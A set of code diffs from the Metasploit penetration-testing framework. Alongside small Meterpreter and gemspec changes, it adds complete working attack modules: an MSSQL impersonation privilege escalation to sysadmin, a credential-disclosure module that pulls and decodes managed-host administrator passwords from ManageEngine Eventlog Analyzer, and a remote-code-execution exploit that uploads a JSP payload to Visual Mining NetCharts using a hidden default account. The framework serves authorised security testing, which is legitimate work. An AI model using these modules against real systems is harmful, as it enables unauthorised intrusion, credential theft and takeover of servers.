@ -88,6 +88,7 @@ class Console::CommandDispatcher::Stdapi::Sys
"getpid" => "Get the current process identifier",
"getprivs" => "Attempt to enable all privileges available to the current process",
"getuid" => "Get the user that the server is running as",
"getsid" => "Get the SID of the user that the server is running as",
"getenv" => "Get one or more environment variable values",
"kill" => "Terminate a process",
"ps" => "List running processes",
@ -107,6 +108,7 @@ class Console::CommandDispatcher::Stdapi::Sys
"getpid" => [ "stdapi_sys_process_getpid" ],
"getprivs" => [ "stdapi_sys_config_getprivs" ],
"getuid" => [ "stdapi_sys_config_getuid" ],
"getsid" => [ "stdapi_sys_config_getsid" ],
"getenv" => [ "stdapi_sys_config_getenv" ],
"kill" => [ "stdapi_sys_process_kill" ],
"ps" => [ "stdapi_sys_process_get_processes" ],
@ -279,6 +281,13 @@ class Console::CommandDispatcher::Stdapi::Sys
print_line("Server username: #{client.sys.config.getuid}")
end
#
# Display the SID of the user that the server is running as.
#
def cmd_getsid(*args)
print_line("Server SID: #{client.sys.config.getsid}")
end
#
# Get the value of one or more environment variables from the target.
#

View File

@ -66,6 +66,10 @@ attr_accessor :socket, :client, :direct, :shares, :last_share
self.client.spnopt = spnopt
# In case the user unsets the password option, we make sure this is
# always a string
pass ||= ''
ok = self.client.session_setup(user, pass, domain)
rescue ::Interrupt
raise $!

View File

@ -0,0 +1,41 @@
# coding: utf-8
# During build, the Gemfile is temporarily moved and
# we must manually define the project root
if ENV['MSF_ROOT']
lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT']))
else
# have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers
# require realpaths.
lib = File.realpath(File.expand_path('../lib', __FILE__))
end
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'metasploit/framework/version'
Gem::Specification.new do |spec|
spec.name = 'metasploit-framework-db'
spec.version = Metasploit::Framework::GEM_VERSION
spec.authors = ['Metasploit Hackers']
spec.email = ['metasploit-hackers@lists.sourceforge.net']
spec.summary = 'metasploit-framework Database dependencies'
spec.description = 'Gems needed to access the PostgreSQL database in metasploit-framework'
spec.homepage = 'https://www.metasploit.com'
spec.license = 'BSD-3-clause'
# no files, just dependencies
spec.files = []
# The Metasploit ecosystem is not ready for Rails 4 as it uses features of Rails 3.X that are removed in Rails 4.
rails_version_constraint = '< 4.0.0'
spec.add_runtime_dependency 'activerecord', rails_version_constraint
# Metasploit::Credential database models
spec.add_runtime_dependency 'metasploit-credential', :github => 'rapid7/metasploit-credential', :branch => 'staging/rails-4.0'
# Database models shared between framework and Pro.
spec.add_runtime_dependency 'metasploit_data_models', :github => 'rapid7/metasploit-credential', :branch => 'staging/rails-4.0'
# depend on metasploit-framewrok as the optional gems are useless with the actual code
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
# Needed for module caching in Mdm::ModuleDetails
spec.add_runtime_dependency 'pg', '>= 0.11'
end

View File

@ -0,0 +1,34 @@
# coding: utf-8
# During build, the Gemfile is temporarily moved and
# we must manually define the project root
if ENV['MSF_ROOT']
lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT']))
else
# have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers
# require realpaths.
lib = File.realpath(File.expand_path('../lib', __FILE__))
end
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'metasploit/framework/version'
Gem::Specification.new do |spec|
spec.name = 'metasploit-framework-full'
spec.version = Metasploit::Framework::GEM_VERSION
spec.authors = ['Metasploit Hackers']
spec.email = ['metasploit-hackers@lists.sourceforge.net']
spec.summary = 'metasploit-framework with all optional dependencies'
spec.description = 'Gems needed to access the PostgreSQL database in metasploit-framework'
spec.homepage = 'https://www.metasploit.com'
spec.license = 'BSD-3-clause'
# no files, just dependencies
spec.files = []
metasploit_framework_version_constraint = "= #{spec.version}"
spec.add_runtime_dependency 'metasploit-framework', metasploit_framework_version_constraint
spec.add_runtime_dependency 'metasploit-framework-db', metasploit_framework_version_constraint
spec.add_runtime_dependency 'metasploit-framework-pcap', metasploit_framework_version_constraint
end

View File

@ -0,0 +1,35 @@
# coding: utf-8
# During build, the Gemfile is temporarily moved and
# we must manually define the project root
if ENV['MSF_ROOT']
lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT']))
else
# have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers
# require realpaths.
lib = File.realpath(File.expand_path('../lib', __FILE__))
end
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'metasploit/framework/version'
Gem::Specification.new do |spec|
spec.name = 'metasploit-framework-pcap'
spec.version = Metasploit::Framework::GEM_VERSION
spec.authors = ['Metasploit Hackers']
spec.email = ['metasploit-hackers@lists.sourceforge.net']
spec.summary = 'metasploit-framework packet capture dependencies'
spec.description = 'Gems needed to capture packets in metasploit-framework'
spec.homepage = 'https://www.metasploit.com'
spec.license = 'BSD-3-clause'
# no files, just dependencies
spec.files = []
# depend on metasploit-framewrok as the optional gems are useless with the actual code
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
# get list of network interfaces, like eth* from OS.
spec.add_runtime_dependency 'network_interface', '~> 0.0.1'
# For sniffer and raw socket modules
spec.add_runtime_dependency 'pcaprub'
end

View File

@ -59,10 +59,10 @@ Gem::Specification.new do |spec|
# Needed for some admin modules (scrutinizer_add_user.rb)
spec.add_runtime_dependency 'json'
# Metasploit::Concern hooks
spec.add_runtime_dependency 'metasploit-concern'
spec.add_runtime_dependency 'metasploit-concern', :github => 'rapid7/metasploit-credential', :branch => 'staging/rails-4.0'
# Things that would normally be part of the database model, but which
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
spec.add_runtime_dependency 'metasploit-model', :github => 'rapid7/metasploit-credential', :branch => 'staging/rails-4.0'
# Needed for Meterpreter on Windows, soon others.
spec.add_runtime_dependency 'meterpreter_bins', '0.0.10'
# Needed by msfgui and other rpc components
@ -75,8 +75,14 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'railties'
# required for OS fingerprinting
spec.add_runtime_dependency 'recog', '~> 1.0'
# read... lines...
spec.add_runtime_dependency 'rb-readline'
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
# NoMethodError undefined method `dlopen' for Fiddle:Module
unless Gem.win_platform?
# Command line editing, history, and tab completion in msfconsole
spec.add_runtime_dependency 'rb-readline'
end
# Needed by anemone crawler
spec.add_runtime_dependency 'robots'
# Needed by some modules

View File

@ -0,0 +1,157 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/mssql_commands'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server - Escalate EXECUTE AS',
'Description' => %q{
This module can be used escalate privileges if the IMPERSONATION privilege has been
assigned to the user. In most cases this results in additional data access, but in
some cases it can be used to gain sysadmin privileges.
},
'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],
'License' => MSF_LICENSE,
'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
))
end
def run
# Check connection and issue initial query
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
if mssql_login_datastore
print_good('Connected.')
else
print_error('Login was unsuccessful. Check your credentials.')
disconnect
return
end
# Query for sysadmin status
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
user_status = check_sysadmin
# Check if user has sysadmin role
if user_status == 1
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
disconnect
return
else
print_status("You're NOT a sysadmin, let's try to change that.")
end
# Get a list of the users that can be impersonated
print_status("Enumerating a list of users that can be impersonated...")
imp_user_list = check_imp_users
if imp_user_list.nil? || imp_user_list.length == 0
print_error('Sorry, the current user doesn\'t have permissions to impersonate anyone.')
disconnect
return
else
# Display list of users that can be impersonated
print_good("#{imp_user_list.length} users can be impersonated:")
imp_user_list.each do |db|
print_status(" - #{db[0]}")
end
end
# Check if any of the users that can be impersonated are sysadmins
print_status('Checking if any of them are sysadmins...')
imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
if imp_user_sysadmin.nil?
print_error('Sorry, none of the users that can be impersonated are sysadmins.')
disconnect
return
end
# Attempt to escalate to sysadmin
print_status("Attempting to impersonate #{imp_user_sysadmin[0]}...")
escalate_status = escalate_privs(imp_user_sysadmin[0])
if escalate_status
# Check if escalation was successful
user_status = check_sysadmin
if user_status == 1
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
else
print_error('Fail buckets, something went wrong.')
end
else
print_error('Error while trying to escalate privileges.')
end
disconnect
return
end
# Checks if user is a sysadmin
def check_sysadmin
# Setup query to check for sysadmin
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
# Run query
result = mssql_query(sql)
# Parse query results
parse_results = result[:rows]
status = parse_results[0][0]
# Return status
return status
end
# Gets trusted databases owned by sysadmins
def check_imp_users
# Setup query
sql = "SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'"
result = mssql_query(sql)
# Return on success
return result[:rows]
end
# Checks if user has the db_owner role
def check_imp_sysadmin(trust_db_list)
# Check if the user has the db_owner role is any databases
trust_db_list.each do |imp_user|
# Setup query
sql = "select IS_SRVROLEMEMBER('sysadmin','#{imp_user[0]}') as status"
# Run query
result = mssql_query(sql)
# Parse query results
parse_results = result[:rows]
status = parse_results[0][0]
if status == 1
print_good(" - #{imp_user[0]} is a sysadmin!")
return imp_user
else
print_status(" - #{imp_user[0]} is NOT sysadmin!")
end
end
nil
end
def escalate_privs(imp_user_sysadmin)
# Impersonate the first sysadmin user on the list
evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}';
EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';"
mssql_query(evil_sql_create)
true
end
end

View File

@ -0,0 +1,222 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rexml/document'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure',
'Description' => %q{
ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that
allow an unauthenticated user to obtain the superuser password of any managed Windows and
AS/400 hosts. This module abuses both vulnerabilities to collect all the available
usernames and passwords. First the agentHandler servlet is abused to get the hostid and
slid of each device (CVE-2014-6038); then these numeric id's are used to extract usernames
and passwords by abusing the hostdetails servlet (CVE-2014-6039). Note that on version 7
the TARGETURI has to be prepended with /event.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-6038' ],
[ 'CVE', '2014-6039' ],
[ 'OSVDB', '114342' ],
[ 'OSVDB', '114344' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_eventlog_info_disc.txt' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Nov/12' ]
],
'DisclosureDate' => 'Nov 5 2014'))
register_options(
[
Opt::RPORT(8400),
OptString.new('TARGETURI', [ true, 'Eventlog Analyzer application URI (should be /event for version 7)', '/']),
], self.class)
end
def decode_password(encoded_password)
password_xor = Rex::Text.decode_base64(encoded_password)
password = ''
password_xor.bytes.each do |byte|
password << (byte ^ 0x30)
end
return password
end
def run
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'agentHandler'),
'method' =>'GET',
'vars_get' => {
'mode' => 'getTableData',
'table' => 'HostDetails'
}
})
unless res && res.code == 200
fail_with(Failure::NotFound, "#{peer} - Failed to reach agentHandler servlet")
return
end
# When passwords have digits the XML parsing will fail.
# Replace with an empty password attribute so that we know the device has a password
# and therefore we want to add it to our host list.
xml = res.body.to_s.gsub(/&#[0-9]*;/,Rex::Text.rand_text_alpha(6))
begin
doc = REXML::Document.new(xml)
rescue
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}")
end
slid_host_ary = []
doc.elements.each('Details/HostDetails') do |ele|
if ele.attributes['password']
# If an element doesn't have a password, then we don't care about it.
# Otherwise store the slid and host_id to use later.
slid_host_ary << [ele.attributes['slid'], ele.attributes['host_id']]
end
end
cred_table = Rex::Ui::Text::Table.new(
'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials',
'Indent' => 1,
'Columns' =>
[
'Host',
'Type',
'SubType',
'Domain',
'Username',
'Password',
]
)
slid_host_ary.each do |host|
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'hostdetails'),
'method' =>'GET',
'vars_get' => {
'slid' => host[0],
'hostid' => host[1]
}
})
unless res && res.code == 200
fail_with(Failure::NotFound, "#{peer} - Failed to reach hostdetails servlet")
end
begin
doc = REXML::Document.new(res.body)
rescue
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{res.body.to_s}")
end
doc.elements.each('Details/Hosts') do |ele|
# Add an empty string if a variable doesn't exist, we have to check it
# somewhere and it's easier to do it here.
host_ipaddress = ele.attributes['host_ipaddress'] || ''
ele.elements.each('HostDetails') do |details|
domain_name = details.attributes['domain_name'] || ''
username = details.attributes['username'] || ''
password_encoded = details.attributes['password'] || ''
password = decode_password(password_encoded)
type = details.attributes['type'] || ''
subtype = details.attributes['subtype'] || ''
unless type =~ /Windows/ || subtype =~ /Windows/
# With AS/400 we get some garbage in the domain name even though it doesn't exist
domain_name = ""
end
msg = "Got login to #{host_ipaddress} | running "
msg << type << (subtype != '' ? " | #{subtype}" : '')
msg << ' | username: '
msg << (domain_name != '' ? "#{domain_name}\\#{username}" : username)
msg << " | password: #{password}"
print_good(msg)
cred_table << [host_ipaddress, type, subtype, domain_name, username, password]
if type == 'Windows'
service_name = 'epmap'
port = 135
elsif type == 'IBM AS/400'
service_name = 'as-servermap'
port = 449
else
next
end
credential_core = report_credential_core({
password: password,
username: username,
})
host_login_data = {
address: host_ipaddress,
service_name: service_name,
workspace_id: myworkspace_id,
protocol: 'tcp',
port: port,
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(host_login_data)
end
end
end
print_line
print_line("#{cred_table}")
loot_name = 'manageengine.eventlog.managed_hosts.creds'
loot_type = 'text/csv'
loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv'
loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials'
p = store_loot(
loot_name,
loot_type,
rhost,
cred_table.to_csv,
loot_filename,
loot_desc)
print_status "Credentials saved in: #{p}"
end
def report_credential_core(cred_opts={})
# Set up the has for our Origin service
origin_service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: cred_opts[:password],
username: cred_opts[:username]
}
credential_data.merge!(origin_service_data)
create_credential(credential_data)
end
end

View File

@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
@ -91,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
def windows_stager
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
@payload_exe = payload_exe
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")
execute_command(@payload_exe)

View File

@ -0,0 +1,132 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
DEFAULT_USERNAME = 'Scheduler'
DEFAULT_PASSWORD = '!@#$scheduler$#@!'
SIGNATURE = 'was uploaded successfully and is now ready for installation'
def initialize(info = {})
super(update_info(info,
'Name' => 'Visual Mining NetCharts Server Remote Code Execution',
'Description' => %q{
This module exploits multiple vulnerabilities in Visual Mining NetCharts.
First, a lack of input validation in the administration console permits
arbitrary jsp code upload to locations accessible later through the web
service. Authentication is typically required, however a 'hidden' user is
available by default (and non editable). This user, named 'Scheduler',
can only login to the console after any modification in the user
database (a user is added, admin password is changed etc). If the
'Scheduler' user isn't available valid credentials must be supplied. The
default Admin password is Admin.
},
'Author' =>
[
'sghctoma', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-8516'],
['ZDI', '14-372']
],
'Privileged' => true,
'Platform' => %w{ linux win },
'Arch' => ARCH_JAVA,
'Targets' =>
[
['Visual Mining NetCharts Server 7.0', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 03 2014'))
register_options(
[
Opt::RPORT(8001),
OptString.new('USERNAME', [false, "The username to authenticate with"]),
OptString.new('PASSWORD', [false, "The password to authenticate with"])
], self.class)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/', 'Admin', 'archive', 'upload.jsp'),
'vars_get' => { 'mode' => 'getZip' },
'authorization' => basic_auth(username, password)
})
if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
Exploit::CheckCode::Detected
else
Exploit::CheckCode::Safe
end
end
def exploit
jsp_payload = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"
print_status("#{peer} - Uploading JSP payload #{jsp_payload}...")
if upload(jsp_payload, payload.encoded)
print_good("#{peer} - JSP payload uploaded successfully")
register_file_for_cleanup("./webapps/Admin/archive/ArchiveCache/#{jsp_payload}")
else
fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
end
print_status("#{peer} - Executing payload...")
execute(jsp_payload, 1)
end
def execute(jsp_name, time_out = 20)
res = send_request_cgi({
'uri' => normalize_uri('/', 'Admin', 'archive', 'ArchiveCache', jsp_name),
'method' => 'GET',
'authorization' => basic_auth(username, password)
}, time_out)
res
end
def upload(file_name, contents)
post_data = Rex::MIME::Message.new
post_data.add_part(
contents,
'application/octet-stream',
nil,
"form-data; name=\"FILE1\"; filename=\"#{file_name}\x00Archive0101140101.zip\""
)
res = send_request_cgi({
'uri' => normalize_uri("/", 'Admin', 'archive', 'upload.jsp'),
'method' => 'GET',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'vars_get' => { 'mode' => 'getZip' },
'authorization' => basic_auth(username, password)
})
if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
true
else
false
end
end
def username
datastore['USERNAME'].blank? ? DEFAULT_USERNAME : datastore['USERNAME']
end
def password
datastore['PASSWORD'].blank? ? DEFAULT_PASSWORD : datastore['PASSWORD']
end
end

View File

@ -75,6 +75,13 @@ class Metasploit3 < Msf::Exploit::Remote
@javascript_encode_key = rand_text_alpha(rand(10) + 10)
end
def get_srvhost
# If the SRVHOST isn't the default 0.0.0.0, obviously the user wants to
# specify, so we will not force source_address()
return datastore['SRVHOST'] if datastore['SRVHOST'] != '0.0.0.0'
Rex::Socket.source_address(cli.peerhost)
end
def on_request_uri(cli, request)
if (request.uri.match(/\.gif$/i))
@ -187,7 +194,7 @@ class Metasploit3 < Msf::Exploit::Remote
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
host = Rex::Socket.source_address(cli.peerhost) + ":" + (datastore["SRVPORT"].to_s)
host = get_srvhost + ":" + (datastore["SRVPORT"].to_s)
gif_uri = "http#{(datastore['SSL'] ? 's' : '')}://#{host}"
if ("/" == get_resource[-1,1])
gif_uri << get_resource[0, get_resource.length - 1]

View File

@ -283,6 +283,12 @@ if __FILE__ == $0
if generator_opts[:list_options]
payload_mod = framework.payloads.create(generator_opts[:payload])
if payload_mod.nil?
$stderr.puts "Invalid payload: #{generator_opts[:payload]}"
exit
end
$stderr.puts "Options for #{payload_mod.fullname}\n\n" + ::Msf::Serializer::ReadableText.dump_module(payload_mod,' ')
exit(0)
end
@ -294,6 +300,7 @@ if __FILE__ == $0
venom_generator = Msf::PayloadGenerator.new(generator_opts)
payload = venom_generator.generate_payload
rescue ::Exception => e
elog("#{e.class} : #{e.message}\n#{e.backtrace * "\n"}")
$stderr.puts e.message
end

View File

@ -369,8 +369,7 @@ describe Rex::MIME::Message do
end
let(:regexp_web) do
regex = "\r\n"
regex << "--_Part_.*\r\n"
regex = "--_Part_.*\r\n"
regex << "Content-Disposition: form-data; name=\"action\"\r\n"
regex << "\r\n"
regex << "save\r\n"
@ -388,8 +387,8 @@ describe Rex::MIME::Message do
Regexp.new(regex)
end
it "returns \\r\\n if Rex::MIME::Message is empty" do
expect(subject.to_s).to eq("\r\n")
it "returns empty string if Rex::MIME::Message is empty" do
expect(subject.to_s).to be_empty
end
it "generates valid MIME email messages" do